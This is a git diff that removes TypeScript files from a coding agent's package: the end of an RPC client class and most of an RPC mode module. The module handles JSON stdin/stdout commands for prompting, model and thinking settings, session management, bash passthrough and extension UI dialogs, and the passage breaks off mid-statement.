cycleThinkingLevel(): Promise<{ level: ThinkingLevel } | null> { - const response = await this.send({ type: "cycle_thinking_level" }); - return this.getData(response); - } - - /** - * Set steering mode. - */ - async setSteeringMode(mode: "all" | "one-at-a-time"): Promise { - await this.send({ type: "set_steering_mode", mode }); - } - - /** - * Set follow-up mode. - */ - async setFollowUpMode(mode: "all" | "one-at-a-time"): Promise { - await this.send({ type: "set_follow_up_mode", mode }); - } - - /** - * Compact session context. - */ - async compact(customInstructions?: string): Promise { - const response = await this.send({ type: "compact", customInstructions }); - return this.getData(response); - } - - /** - * Set auto-compaction enabled/disabled. - */ - async setAutoCompaction(enabled: boolean): Promise { - await this.send({ type: "set_auto_compaction", enabled }); - } - - /** - * Set auto-retry enabled/disabled. - */ - async setAutoRetry(enabled: boolean): Promise { - await this.send({ type: "set_auto_retry", enabled }); - } - - /** - * Abort in-progress retry. - */ - async abortRetry(): Promise { - await this.send({ type: "abort_retry" }); - } - - /** - * Execute a bash command. - */ - async bash(command: string): Promise { - const response = await this.send({ type: "bash", command }); - return this.getData(response); - } - - /** - * Abort running bash command. - */ - async abortBash(): Promise { - await this.send({ type: "abort_bash" }); - } - - /** - * Get session statistics. - */ - async getSessionStats(): Promise { - const response = await this.send({ type: "get_session_stats" }); - return this.getData(response); - } - - /** - * Export session to HTML. - */ - async exportHtml(outputPath?: string): Promise<{ path: string }> { - const response = await this.send({ type: "export_html", outputPath }); - return this.getData(response); - } - - /** - * Switch to a different session file. - * @returns Object with `cancelled: true` if an extension cancelled the switch - */ - async switchSession(sessionPath: string): Promise<{ cancelled: boolean }> { - const response = await this.send({ type: "switch_session", sessionPath }); - return this.getData(response); - } - - /** - * Fork from a specific message. - * @returns Object with `text` (the message text) and `cancelled` (if extension cancelled) - */ - async fork(entryId: string): Promise<{ text: string; cancelled: boolean }> { - const response = await this.send({ type: "fork", entryId }); - return this.getData(response); - } - - /** - * Get messages available for forking. - */ - async getForkMessages(): Promise> { - const response = await this.send({ type: "get_fork_messages" }); - return this.getData<{ messages: Array<{ entryId: string; text: string }> }>( - response, - ).messages; - } - - /** - * Get text of last assistant message. - */ - async getLastAssistantText(): Promise { - const response = await this.send({ type: "get_last_assistant_text" }); - return this.getData<{ text: string | null }>(response).text; - } - - /** - * Set the session display name. - */ - async setSessionName(name: string): Promise { - await this.send({ type: "set_session_name", name }); - } - - /** - * Get all messages in the session. - */ - async getMessages(): Promise { - const response = await this.send({ type: "get_messages" }); - return this.getData<{ messages: AgentMessage[] }>(response).messages; - } - - /** - * Get available commands (extension commands, prompt templates, skills). - */ - async getCommands(): Promise { - const response = await this.send({ type: "get_commands" }); - return this.getData<{ commands: RpcSlashCommand[] }>(response).commands; - } - - /** - * Send a UI response to a pending extension_ui_request. - * Fire-and-forget — no request/response correlation. - */ - sendUIResponse( - id: string, - response: { - value?: string; - values?: string[]; - confirmed?: boolean; - cancelled?: boolean; - }, - ): void { - if (!this.process?.stdin) { - throw new Error("Client not started"); - } - this.process.stdin.write( - serializeJsonLine({ - type: "extension_ui_response", - id, - ...response, - }), - ); - } - - /** - * Initialize a v2 protocol session. Must be sent as the first command. - * Returns the negotiated protocol version, session ID, and server capabilities. - */ - async init(options?: { clientId?: string }): Promise { - const response = await this.send({ - type: "init", - protocolVersion: 2, - clientId: options?.clientId, - }); - return this.getData(response); - } - - /** - * Request a graceful shutdown of the agent process. - * Waits for the response before the process exits. - */ - async shutdown(): Promise { - await this.send({ type: "shutdown" }); - // Wait for process to exit after shutdown acknowledgment - if (this.process) { - await new Promise((resolve) => { - const timeout = setTimeout(() => { - this.process?.kill("SIGKILL"); - resolve(); - }, 5000); - this.process?.on("exit", () => { - clearTimeout(timeout); - resolve(); - }); - }); - } - } - - /** - * Subscribe to specific event types (v2 only). - * Pass ["*"] to receive all events, or a list of event type strings to filter. - */ - async subscribe(events: string[]): Promise { - await this.send({ type: "subscribe", events }); - } - - // ========================================================================= - // Helpers - // ========================================================================= - - /** - * Wait for agent to become idle (no streaming). - * Resolves when agent_end event is received. - */ - waitForIdle(timeout = 60000): Promise { - return new Promise((resolve, reject) => { - const timer = setTimeout(() => { - unsubscribe(); - reject( - new Error( - `Timeout waiting for agent to become idle. Stderr: ${this.stderr}`, - ), - ); - }, timeout); - - const unsubscribe = this.onEvent((event) => { - if (event.type === "agent_end") { - clearTimeout(timer); - unsubscribe(); - resolve(); - } - }); - }); - } - - /** - * Collect events until agent becomes idle. - */ - collectEvents(timeout = 60000): Promise { - return new Promise((resolve, reject) => { - const events: AgentEvent[] = []; - const timer = setTimeout(() => { - unsubscribe(); - reject(new Error(`Timeout collecting events. Stderr: ${this.stderr}`)); - }, timeout); - - const unsubscribe = this.onEvent((event) => { - events.push(event); - if (event.type === "agent_end") { - clearTimeout(timer); - unsubscribe(); - resolve(events); - } - }); - }); - } - - /** - * Send prompt and wait for completion, returning all events. - */ - async promptAndWait( - message: string, - images?: ImageContent[], - timeout = 60000, - ): Promise { - const eventsPromise = this.collectEvents(timeout); - await this.prompt(message, images); - return eventsPromise; - } - - // ========================================================================= - // Internal - // ========================================================================= - - private handleLine(line: string): void { - try { - const data = JSON.parse(line); - - // Check if it's a response to a pending request - if ( - data.type === "response" && - data.id && - this.pendingRequests.has(data.id) - ) { - const pending = this.pendingRequests.get(data.id)!; - this.pendingRequests.delete(data.id); - pending.resolve(data as RpcResponse); - return; - } - - // Otherwise it's an event - for (const listener of this.eventListeners) { - listener(data as AgentEvent); - } - } catch { - // Ignore non-JSON lines - } - } - - private async send(command: RpcCommandBody): Promise { - if (!this.process?.stdin) { - throw new Error("Client not started"); - } - - const id = `req_${++this.requestId}`; - const fullCommand = { ...command, id } as RpcCommand; - - return new Promise((resolve, reject) => { - const timeout = setTimeout(() => { - this.pendingRequests.delete(id); - reject( - new Error( - `Timeout waiting for response to ${command.type}. Stderr: ${this.stderr}`, - ), - ); - }, 30000); - - this.pendingRequests.set(id, { - resolve: (response) => { - clearTimeout(timeout); - resolve(response); - }, - reject: (error) => { - clearTimeout(timeout); - reject(error); - }, - }); - - this.process!.stdin!.write(serializeJsonLine(fullCommand)); - }); - } - - private getData(response: RpcResponse): T { - if (!response.success) { - const errorResponse = response as Extract< - RpcResponse, - { success: false } - >; - throw new Error(errorResponse.error); - } - // Type assertion: we trust response.data matches T based on the command sent. - // This is safe because each public method specifies the correct T for its command. - const successResponse = response as Extract< - RpcResponse, - { success: true; data: unknown } - >; - return successResponse.data as T; - } -} diff --git a/packages/pi-coding-agent/src/modes/rpc/rpc-mode.ts b/packages/pi-coding-agent/src/modes/rpc/rpc-mode.ts deleted file mode 100644 index 9830ea50d..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/rpc-mode.ts +++ /dev/null @@ -1,1228 +0,0 @@ -/** - * RPC mode: Headless operation with JSON stdin/stdout protocol. - * - * Used for embedding the agent in other applications. - * Receives commands as JSON on stdin, outputs events and responses as JSON on stdout. - * - * Protocol: - * - Commands: JSON objects with `type` field, optional `id` for correlation - * - Responses: JSON objects with `type: "response"`, `command`, `success`, and optional `data`/`error` - * - Events: AgentSessionEvent objects streamed as they occur - * - Extension UI: Extension UI requests are emitted, client responds with extension_ui_response - */ - -import * as crypto from "node:crypto"; -import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; -import { dirname, join, resolve } from "node:path"; -import type { AgentSession } from "../../core/agent-session.js"; -import type { - ExtensionUIContext, - ExtensionUIDialogOptions, - ExtensionWidgetOptions, -} from "../../core/extensions/index.js"; -import { killTrackedDetachedChildren } from "../../utils/shell.js"; -import { InteractiveMode } from "../interactive/interactive-mode.js"; -import { type Theme, theme } from "../interactive/theme/theme.js"; -import { createDefaultCommandContextActions } from "../shared/command-context-actions.js"; -import { attachJsonlLineReader, serializeJsonLine } from "./jsonl.js"; -import { RemoteTerminal } from "./remote-terminal.js"; -import type { - RpcCommand, - RpcExtensionUIRequest, - RpcExtensionUIResponse, - RpcInitResult, - RpcResponse, - RpcSessionState, - RpcSlashCommand, -} from "./rpc-types.js"; - -const RUNTIME_HEARTBEAT_INTERVAL_MS = Number( - process.env.SF_RUNTIME_HEARTBEAT_INTERVAL_MS ?? 10_000, -); - -function findRuntimeSourceRoot(): string { - const explicit = - process.env.SF_RUNTIME_SOURCE_ROOT ?? process.env.SF_SOURCE_ROOT; - if (explicit) return resolve(explicit); - - let dir = resolve(dirname(process.argv[1] ?? process.cwd())); - while (true) { - if (existsSync(join(dir, "package.json")) && existsSync(join(dir, "src"))) { - return dir; - } - const parent = dirname(dir); - if (parent === dir) return process.cwd(); - dir = parent; - } -} - -function newestSourceMtimeMs(root: string): number { - let newest = 0; - const skip = new Set([ - ".git", - ".sf", - "dist", - "node_modules", - "target", - ".next", - "coverage", - ]); - const stack = [root]; - while (stack.length > 0) { - const dir = stack.pop()!; - let entries: import("node:fs").Dirent[]; - try { - entries = readdirSync(dir, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - if (skip.has(entry.name)) continue; - const full = join(dir, entry.name); - if (entry.isDirectory()) { - stack.push(full); - continue; - } - if (!entry.isFile() || !/\.(?:ts|tsx|mts|cts)$/.test(entry.name)) { - continue; - } - try { - newest = Math.max(newest, statSync(full).mtimeMs); - } catch { - // Ignore files that disappear during a scan. - } - } - } - return newest; -} - -interface RuntimeUnitState { - unitType?: string; - unitId?: string; - sessionFile?: string; -} - -function effectiveAutoLockFile(): string { - const milestoneLock = process.env.SF_PARALLEL_WORKER - ? process.env.SF_MILESTONE_LOCK - : undefined; - return milestoneLock ? `auto-${milestoneLock}.lock` : "auto.lock"; -} - -function readRuntimeUnitState(): RuntimeUnitState { - const roots = [process.env.SF_PROJECT_ROOT, process.cwd()].filter( - (root): root is string => Boolean(root), - ); - const seen = new Set(); - for (const root of roots) { - const resolvedRoot = resolve(root); - if (seen.has(resolvedRoot)) continue; - seen.add(resolvedRoot); - const lockPath = join(resolvedRoot, ".sf", effectiveAutoLockFile()); - try { - if (!existsSync(lockPath)) continue; - const data = JSON.parse(readFileSync(lockPath, "utf-8")) as Record< - string, - unknown - >; - return { - unitType: typeof data.unitType === "string" ? data.unitType : undefined, - unitId: typeof data.unitId === "string" ? data.unitId : undefined, - sessionFile: - typeof data.sessionFile === "string" ? data.sessionFile : undefined, - }; - } catch { - // Heartbeats should never fail because lock metadata is temporarily absent - // or being rewritten. - } - } - return {}; -} - -// Re-export types for consumers -export type { - RpcCommand, - RpcExtensionUIRequest, - RpcExtensionUIResponse, - RpcInitResult, - RpcProtocolVersion, - RpcResponse, - RpcSessionState, - RpcV2Event, -} from "./rpc-types.js"; - -/** - * Run in RPC mode. - * Listens for JSON commands on stdin, outputs events and responses on stdout. - */ -export async function runRpcMode(session: AgentSession): Promise { - const stdoutWithHandle = process.stdout as typeof process.stdout & { - _handle?: { setBlocking?: (blocking: boolean) => void }; - }; - if (!process.stdout.isTTY) { - stdoutWithHandle._handle?.setBlocking?.(true); - } - - const rawStdoutWrite = process.stdout.write.bind(process.stdout); - const rawStderrWrite = process.stderr.write.bind(process.stderr); - - process.stdout.write = (( - ...args: Parameters - ): ReturnType => - rawStderrWrite(...args)) as typeof process.stdout.write; - - const output = (obj: RpcResponse | RpcExtensionUIRequest | object) => { - rawStdoutWrite(serializeJsonLine(obj)); - }; - - const success = ( - id: string | undefined, - command: T, - data?: object | null, - ): RpcResponse => { - if (data === undefined) { - return { id, type: "response", command, success: true } as RpcResponse; - } - return { - id, - type: "response", - command, - success: true, - data, - } as RpcResponse; - }; - - const error = ( - id: string | undefined, - command: string, - message: string, - ): RpcResponse => { - return { id, type: "response", command, success: false, error: message }; - }; - - // Pending extension UI requests waiting for response - const pendingExtensionRequests = new Map< - string, - { resolve: (value: any) => void; reject: (error: Error) => void } - >(); - - // Shutdown request flag - let shutdownRequested = false; - let shuttingDown = false; - const signalCleanupHandlers: Array<() => void> = []; - - // v2 protocol version detection state - let protocolVersion: 1 | 2 = 1; - let protocolLocked = false; - - // v2 runId threading: tracks the current execution run - let currentRunId: string | null = null; - - // v2 event filtering: null = no filter (all events); Set = only listed event types - let eventFilter: Set | null = null; - - const embeddedTerminalEnabled = process.env.SF_WEB_BRIDGE_TUI === "1"; - const remoteTerminal = embeddedTerminalEnabled - ? new RemoteTerminal({ - onWrite: (data) => { - output({ type: "terminal_output", data }); - }, - }) - : null; - let embeddedInteractiveMode: InteractiveMode | null = null; - let embeddedInteractiveInitPromise: Promise | null = null; - const startupNotifications: Array<{ - message: string; - type?: "info" | "warning" | "error" | "success"; - }> = []; - const statusState = new Map(); - const widgetState = new Map< - string, - { content: unknown; options?: ExtensionWidgetOptions } - >(); - let footerFactory: Parameters[0] | undefined; - let headerFactory: Parameters[0] | undefined; - let workingMessageState: string | undefined; - let titleState: string | undefined; - let editorTextState: string | undefined; - - const withEmbeddedUiContext = async ( - apply: (ui: ExtensionUIContext) => void | Promise, - ): Promise => { - if (!embeddedInteractiveMode) { - return; - } - try { - await apply(embeddedInteractiveMode.getExtensionUIContext()); - } catch { - // Embedded UI replay is best-effort. A stale interactive host should not - // turn optional extension widgets into RPC-mode extension failures. - } - }; - - const replayEmbeddedUiState = async ( - interactiveMode: InteractiveMode, - ): Promise => { - const ui = interactiveMode.getExtensionUIContext(); - ui.setHeader(headerFactory); - ui.setFooter(footerFactory); - for (const [key, text] of statusState.entries()) { - try { - ui.setStatus(key, text); - } catch { - // Best-effort UI replay. - } - } - for (const [key, widget] of widgetState.entries()) { - try { - ui.setWidget(key, widget.content as any, widget.options); - } catch { - // Best-effort UI replay. - } - } - ui.setWorkingMessage(workingMessageState); - if (titleState) { - ui.setTitle(titleState); - } - if (editorTextState !== undefined) { - ui.setEditorText(editorTextState); - } - for (const { message, type } of startupNotifications) { - ui.notify(message, type); - } - }; - - const ensureEmbeddedInteractiveMode = async (): Promise => { - if (!embeddedTerminalEnabled || !remoteTerminal) { - throw new Error("Embedded terminal is not enabled for this RPC host"); - } - - if (embeddedInteractiveMode) { - return embeddedInteractiveMode; - } - - if (!embeddedInteractiveInitPromise) { - embeddedInteractiveMode = new InteractiveMode(session, { - terminal: remoteTerminal, - bindExtensions: false, - submitPromptsDirectly: true, - shutdownBehavior: "ignore", - }); - embeddedInteractiveInitPromise = embeddedInteractiveMode - .init() - .then(async () => { - await replayEmbeddedUiState(embeddedInteractiveMode!); - }) - .catch((error) => { - embeddedInteractiveMode = null; - throw error; - }) - .finally(() => { - embeddedInteractiveInitPromise = null; - }); - } - - await embeddedInteractiveInitPromise; - return embeddedInteractiveMode!; - }; - - /** Helper for dialog methods with signal/timeout support */ - function createDialogPromise( - opts: ExtensionUIDialogOptions | undefined, - defaultValue: T, - request: Record, - parseResponse: (response: RpcExtensionUIResponse) => T, - ): Promise { - if (opts?.signal?.aborted) return Promise.resolve(defaultValue); - - const id = crypto.randomUUID(); - return new Promise((resolve, reject) => { - let timeoutId: ReturnType | undefined; - - const cleanup = () => { - if (timeoutId) clearTimeout(timeoutId); - opts?.signal?.removeEventListener("abort", onAbort); - pendingExtensionRequests.delete(id); - }; - - const onAbort = () => { - cleanup(); - resolve(defaultValue); - }; - opts?.signal?.addEventListener("abort", onAbort, { once: true }); - - if (opts?.timeout) { - timeoutId = setTimeout(() => { - cleanup(); - resolve(defaultValue); - }, opts.timeout); - } - - pendingExtensionRequests.set(id, { - resolve: (response: RpcExtensionUIResponse) => { - cleanup(); - resolve(parseResponse(response)); - }, - reject, - }); - output({ - type: "extension_ui_request", - id, - ...request, - } as RpcExtensionUIRequest); - }); - } - - /** - * Create an extension UI context that uses the RPC protocol. - */ - const createExtensionUIContext = (): ExtensionUIContext => ({ - select: (title, options, opts) => - createDialogPromise( - opts, - undefined, - { - method: "select", - title, - options, - timeout: opts?.timeout, - allowMultiple: opts?.allowMultiple, - }, - (r) => - "cancelled" in r && r.cancelled - ? undefined - : "values" in r - ? r.values - : "value" in r - ? r.value - : undefined, - ), - - confirm: (title, message, opts) => - createDialogPromise( - opts, - false, - { method: "confirm", title, message, timeout: opts?.timeout }, - (r) => - "cancelled" in r && r.cancelled - ? false - : "confirmed" in r - ? r.confirmed - : false, - ), - - input: (title, placeholder, opts) => - createDialogPromise( - opts, - undefined, - { - method: "input", - title, - placeholder, - timeout: opts?.timeout, - secure: opts?.secure, - }, - (r) => - "cancelled" in r && r.cancelled - ? undefined - : "value" in r - ? r.value - : undefined, - ), - - notify( - message: string, - type?: "info" | "warning" | "error" | "success", - metadata?: Record, - ): void { - startupNotifications.push({ message, type }); - if (startupNotifications.length > 20) { - startupNotifications.splice(0, startupNotifications.length - 20); - } - // Fire and forget - no response needed - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "notify", - message, - notifyType: type, - ...(metadata ? { metadata } : {}), - } as RpcExtensionUIRequest); - void withEmbeddedUiContext((ui) => { - ui.notify(message, type); - }); - }, - - onTerminalInput(): () => void { - // Raw terminal input not supported in RPC mode - return () => {}; - }, - - setStatus(key: string, text: string | undefined): void { - statusState.set(key, text); - // Fire and forget - no response needed - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "setStatus", - statusKey: key, - statusText: text, - } as RpcExtensionUIRequest); - void withEmbeddedUiContext((ui) => { - ui.setStatus(key, text); - }); - }, - - setWorkingMessage(message?: string): void { - workingMessageState = message; - void withEmbeddedUiContext((ui) => { - ui.setWorkingMessage(message); - }); - }, - - setWorkingVisible(visible: boolean): void { - void withEmbeddedUiContext((ui) => { - ui.setWorkingVisible(visible); - }); - }, - - setWidget( - key: string, - content: unknown, - options?: ExtensionWidgetOptions, - ): void { - widgetState.set(key, { content, options }); - if (content === undefined || Array.isArray(content)) { - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "setWidget", - widgetKey: key, - widgetLines: content as string[] | undefined, - widgetPlacement: options?.placement, - } as RpcExtensionUIRequest); - } else if (typeof content === "function") { - // Factory-based widgets require TUI access which RPC mode does not have. - // Emit a minimal placeholder so the RPC client knows a widget was requested. - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "setWidget", - widgetKey: key, - widgetLines: undefined, - widgetPlacement: options?.placement, - } as RpcExtensionUIRequest); - } - void withEmbeddedUiContext((ui) => { - ui.setWidget(key, content as any, options); - }); - }, - - setFooter(factory: Parameters[0]): void { - footerFactory = factory; - void withEmbeddedUiContext((ui) => { - ui.setFooter(factory); - }); - }, - - setHeader(factory: Parameters[0]): void { - headerFactory = factory; - void withEmbeddedUiContext((ui) => { - ui.setHeader(factory); - }); - }, - - setTitle(title: string): void { - titleState = title; - // Fire and forget - host can implement terminal title control - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "setTitle", - title, - } as RpcExtensionUIRequest); - void withEmbeddedUiContext((ui) => { - ui.setTitle(title); - }); - }, - - async custom() { - // Custom UI not supported in RPC mode - return undefined as never; - }, - - pasteToEditor(text: string): void { - // Paste handling not supported in RPC mode - falls back to setEditorText - this.setEditorText(text); - }, - - setEditorText(text: string): void { - editorTextState = text; - // Fire and forget - host can implement editor control - output({ - type: "extension_ui_request", - id: crypto.randomUUID(), - method: "set_editor_text", - text, - } as RpcExtensionUIRequest); - void withEmbeddedUiContext((ui) => { - ui.setEditorText(text); - }); - }, - - getEditorText(): string { - // Synchronous method can't wait for RPC response - // Host should track editor state locally if needed - return ""; - }, - - async editor(title: string, prefill?: string): Promise { - const id = crypto.randomUUID(); - return new Promise((resolve, reject) => { - pendingExtensionRequests.set(id, { - resolve: (response: RpcExtensionUIResponse) => { - if ("cancelled" in response && response.cancelled) { - resolve(undefined); - } else if ("value" in response) { - resolve(response.value); - } else { - resolve(undefined); - } - }, - reject, - }); - output({ - type: "extension_ui_request", - id, - method: "editor", - title, - prefill, - } as RpcExtensionUIRequest); - }); - }, - - setEditorComponent(): void { - // Custom editor components not supported in RPC mode - }, - - get theme() { - return theme; - }, - - getAllThemes() { - return []; - }, - - getTheme(_name: string) { - return undefined; - }, - - setTheme(_theme: string | Theme) { - // Theme switching not supported in RPC mode - return { - success: false, - error: "Theme switching not supported in RPC mode", - }; - }, - - getToolsExpanded() { - // Tool expansion not supported in RPC mode - no TUI - return false; - }, - - setToolsExpanded(_expanded: boolean) { - // Tool expansion not supported in RPC mode - no TUI - }, - }); - - // Set up extensions with RPC-based UI context. - // Do not block the initial RPC handshake on extension session_start hooks: - // browser boot only needs get_state, and several startup-only notifications - // (MCP availability, web-search status, etc.) can complete in the background. - // Track readiness so consumers can know when extension commands are available. - let extensionsReady = false; - const extensionsReadyPromise = session - .bindExtensions({ - uiContext: createExtensionUIContext(), - commandContextActions: createDefaultCommandContextActions(session), - shutdownHandler: () => { - shutdownRequested = true; - }, - onError: (err) => { - output({ - type: "extension_error", - extensionPath: err.extensionPath, - event: err.event, - error: err.error, - }); - }, - }) - .then(() => { - extensionsReady = true; - output({ type: "extensions_ready" }); - }) - .catch((error) => { - extensionsReady = true; // Mark ready even on failure so consumers don't wait forever - output({ - type: "extension_error", - event: "session_start", - error: error instanceof Error ? error.message : String(error), - }); - }); - void extensionsReadyPromise; - - // Output all agent events as JSON - const unsubscribe = session.subscribe((event) => { - // v2: emit synthesized events before the regular event - if (protocolVersion === 2) { - // cost_update on assistant message_end - if ( - event.type === "message_end" && - event.message.role === "assistant" && - currentRunId - ) { - const stats = session.getSessionStats(); - const costUpdate = { - type: "cost_update" as const, - runId: currentRunId, - turnCost: session.getLastTurnCost(), - cumulativeCost: stats.cost, - tokens: { - input: stats.tokens.input, - output: stats.tokens.output, - cacheRead: stats.tokens.cacheRead, - cacheWrite: stats.tokens.cacheWrite, - }, - }; - if (!eventFilter || eventFilter.has("cost_update")) { - output(costUpdate); - } - if (process.env.PI_TOKEN_TELEMETRY === "1") { - rawStderrWrite( - `[PI_TOKEN] input=${stats.tokens.input} output=${stats.tokens.output} cache_read=${stats.tokens.cacheRead} cache_write=${stats.tokens.cacheWrite} cost=$${stats.cost.toFixed(4)}\n`, - ); - } - } - - // execution_complete on agent_end - if (event.type === "agent_end" && currentRunId) { - const stats = session.getSessionStats(); - const completionEvent = { - type: "execution_complete" as const, - runId: currentRunId, - status: "completed" as const, - stats, - }; - if (!eventFilter || eventFilter.has("execution_complete")) { - output(completionEvent); - } - currentRunId = null; - } - } - - // Apply event filter (v2 only, applies to agent session events only) - if (protocolVersion === 2 && eventFilter && !eventFilter.has(event.type)) { - return; - } - - // Emit the regular event, with runId injection in v2 mode - if (protocolVersion === 2 && currentRunId) { - output({ ...event, runId: currentRunId }); - } else { - output(event); - } - }); - - const runtimeSourceRoot = findRuntimeSourceRoot(); - const runtimeEpoch = newestSourceMtimeMs(runtimeSourceRoot); - const emitRuntimeHeartbeat = () => { - const runtimeUnit = readRuntimeUnitState(); - const heartbeat = { - type: "runtime_heartbeat" as const, - sessionId: session.sessionId, - sessionFile: runtimeUnit.sessionFile ?? session.sessionFile, - unitType: runtimeUnit.unitType, - unitId: runtimeUnit.unitId, - runtimeEpoch, - sourceEpoch: newestSourceMtimeMs(runtimeSourceRoot), - emittedAt: Date.now(), - }; - if (!eventFilter || eventFilter.has("runtime_heartbeat")) { - output(heartbeat); - } - }; - const runtimeHeartbeatTimer = - RUNTIME_HEARTBEAT_INTERVAL_MS > 0 - ? setInterval(emitRuntimeHeartbeat, RUNTIME_HEARTBEAT_INTERVAL_MS) - : undefined; - if (runtimeHeartbeatTimer) { - signalCleanupHandlers.push(() => clearInterval(runtimeHeartbeatTimer)); - } - - // Handle a single command - const handleCommand = async (command: RpcCommand): Promise => { - const id = command.id; - - switch (command.type) { - // ================================================================= - // Prompting - // ================================================================= - - case "prompt": { - // v2: generate runId for execution tracking - const runId = protocolVersion === 2 ? crypto.randomUUID() : undefined; - if (runId) currentRunId = runId; - // Don't await - events will stream - // Extension commands are executed immediately, file prompt templates are expanded - // If streaming and streamingBehavior specified, queues via steer/followUp - session - .prompt(command.message, { - images: command.images, - streamingBehavior: command.streamingBehavior, - source: "rpc", - }) - .catch((e) => output(error(id, "prompt", e.message))); - return { - id, - type: "response", - command: "prompt", - success: true, - ...(runId && { runId }), - } as RpcResponse; - } - - case "steer": { - // v2: generate runId for execution tracking - const runId = protocolVersion === 2 ? crypto.randomUUID() : undefined; - if (runId) currentRunId = runId; - await session.steer(command.message, command.images); - return { - id, - type: "response", - command: "steer", - success: true, - ...(runId && { runId }), - } as RpcResponse; - } - - case "follow_up": { - // v2: generate runId for execution tracking - const runId = protocolVersion === 2 ? crypto.randomUUID() : undefined; - if (runId) currentRunId = runId; - await session.followUp(command.message, command.images); - return { - id, - type: "response", - command: "follow_up", - success: true, - ...(runId && { runId }), - } as RpcResponse; - } - - case "abort": { - await session.abort(); - return success(id, "abort"); - } - - case "new_session": { - const options = command.parentSession - ? { parentSession: command.parentSession } - : undefined; - const cancelled = !(await session.newSession(options)); - return success(id, "new_session", { cancelled }); - } - - // ================================================================= - // State - // ================================================================= - - case "get_state": { - const state: RpcSessionState = { - model: session.model, - thinkingLevel: session.thinkingLevel, - isStreaming: session.isStreaming, - isCompacting: session.isCompacting, - steeringMode: session.steeringMode, - followUpMode: session.followUpMode, - sessionFile: session.sessionFile, - sessionId: session.sessionId, - sessionName: session.sessionName, - autoCompactionEnabled: session.autoCompactionEnabled, - autoRetryEnabled: session.autoRetryEnabled, - retryInProgress: session.isRetrying, - retryAttempt: session.retryAttempt, - messageCount: session.messages.length, - pendingMessageCount: session.pendingMessageCount, - extensionsReady, - }; - return success(id, "get_state", state); - } - - // ================================================================= - // Model - // ================================================================= - - case "set_model": { - const models = await session.modelRegistry.getAvailable(); - const model = models.find( - (m) => m.provider === command.provider && m.id === command.modelId, - ); - if (!model) { - return error( - id, - "set_model", - `Model not found: ${command.provider}/${command.modelId}`, - ); - } - await session.setModel(model); - return success(id, "set_model", model); - } - - case "cycle_model": { - const result = await session.cycleModel(); - if (!result) { - return success(id, "cycle_model", null); - } - return success(id, "cycle_model", result); - } - - case "get_available_models": { - const models = await session.modelRegistry.getAvailable(); - return success(id, "get_available_models", { models }); - } - - // ================================================================= - // Thinking - // ================================================================= - - case "set_thinking_level": { - session.setThinkingLevel(command.level); - return success(id, "set_thinking_level"); - } - - case "cycle_thinking_level": { - const level = session.cycleThinkingLevel(); - if (!level) { - return success(id, "cycle_thinking_level", null); - } - return success(id, "cycle_thinking_level", { level }); - } - - // ================================================================= - // Queue Modes - // ================================================================= - - case "set_steering_mode": { - session.setSteeringMode(command.mode); - return success(id, "set_steering_mode"); - } - - case "set_follow_up_mode": { - session.setFollowUpMode(command.mode); - return success(id, "set_follow_up_mode"); - } - - // ================================================================= - // Compaction - // ================================================================= - - case "compact": { - const result = await session.compact(command.customInstructions); - return success(id, "compact", result); - } - - case "set_auto_compaction": { - session.setAutoCompactionEnabled(command.enabled); - return success(id, "set_auto_compaction"); - } - - // ================================================================= - // Retry - // ================================================================= - - case "set_auto_retry": { - session.setAutoRetryEnabled(command.enabled); - return success(id, "set_auto_retry"); - } - - case "abort_retry": { - session.abortRetry(); - return success(id, "abort_retry"); - } - - // ================================================================= - // Bash - // ================================================================= - - case "bash": { - const result = await session.executeBash(command.command); - return success(id, "bash", result); - } - - case "abort_bash": { - session.abortBash(); - return success(id, "abort_bash"); - } - - // ================================================================= - // Session - // ================================================================= - - case "get_session_stats": { - const stats = session.getSessionStats(); - return success(id, "get_session_stats", stats); - } - - case "export_html": { - const path = await session.exportToHtml(command.outputPath); - return success(id, "export_html", { path }); - } - - case "switch_session": { - const cancelled = !(await session.switchSession(command.sessionPath)); - return success(id, "switch_session", { cancelled }); - } - - case "fork": { - const result = await session.fork(command.entryId); - return success(id, "fork", { - text: result.selectedText, - cancelled: result.cancelled, - }); - } - - case "get_fork_messages": { - const messages = session.getUserMessagesForForking(); - return success(id, "get_fork_messages", { messages }); - } - - case "get_last_assistant_text": { - const text = session.getLastAssistantText(); - return success(id, "get_last_assistant_text", { text }); - } - - case "set_session_name": { - const name = command.name.trim(); - if (!name) { - return error(id, "set_session_name", "Session name cannot be empty"); - } - session.setSessionName(name); - return success(id, "set_session_name"); - } - - // ================================================================= - // Messages - // ================================================================= - - case "get_messages": { - return success(id, "get_messages", { messages: session.messages }); - } - - // ================================================================= - // Commands (available for invocation via prompt) - // ================================================================= - - case "get_commands": { - const commands: RpcSlashCommand[] = []; - - // Extension commands - for (const { - command, - extensionPath, - } of session.extensionRunner?.getRegisteredCommandsWithPaths() ?? []) { - commands.push({ - name: command.name, - description: command.description, - source: "extension", - path: extensionPath, - }); - } - - // Prompt templates (source is always "user" | "project" | "path" in coding-agent) - for (const template of session.promptTemplates) { - commands.push({ - name: template.name, - description: template.description, - source: "prompt", - location: template.source as RpcSlashCommand["location"], - path: template.filePath, - }); - } - - // Skills (source is always "user" | "project" | "path" in coding-agent) - for (const skill of session.resourceLoader.getSkills().skills) { - commands.push({ - name: `skill:${skill.name}`, - description: skill.description, - source: "skill", - location: skill.source as RpcSlashCommand["location"], - path: skill.filePath, - }); - } - - return success(id, "get_commands", { commands }); - } - - case "terminal_input": { - await ensureEmbeddedInteractiveMode(); - remoteTerminal!.pushInput(command.data); - return success(id, "terminal_input"); - } - - case "terminal_resize": { - await ensureEmbeddedInteractiveMode(); - remoteTerminal!.resize(command.cols, command.rows); - return success(id, "terminal_resize"); - } - - case "terminal_redraw": { - const interactiveMode = await ensureEmbeddedInteractiveMode(); - interactiveMode.requestRender(true); - return success(id, "terminal_redraw"); - } - - // ================================================================= - // v2 Protocol: subscribe - // ================================================================= - - case "subscribe": { - if (command.events.includes("*")) { - eventFilter = null; // wildcard = all events - } else { - eventFilter = new Set(command.events); - } - return success(id, "subscribe"); - } - - // ================================================================= - // v2 Protocol: shutdown - // ================================================================= - - case "shutdown": { - shutdownRequested = true; - return success(id, "shutdown"); - } - - default: { - const 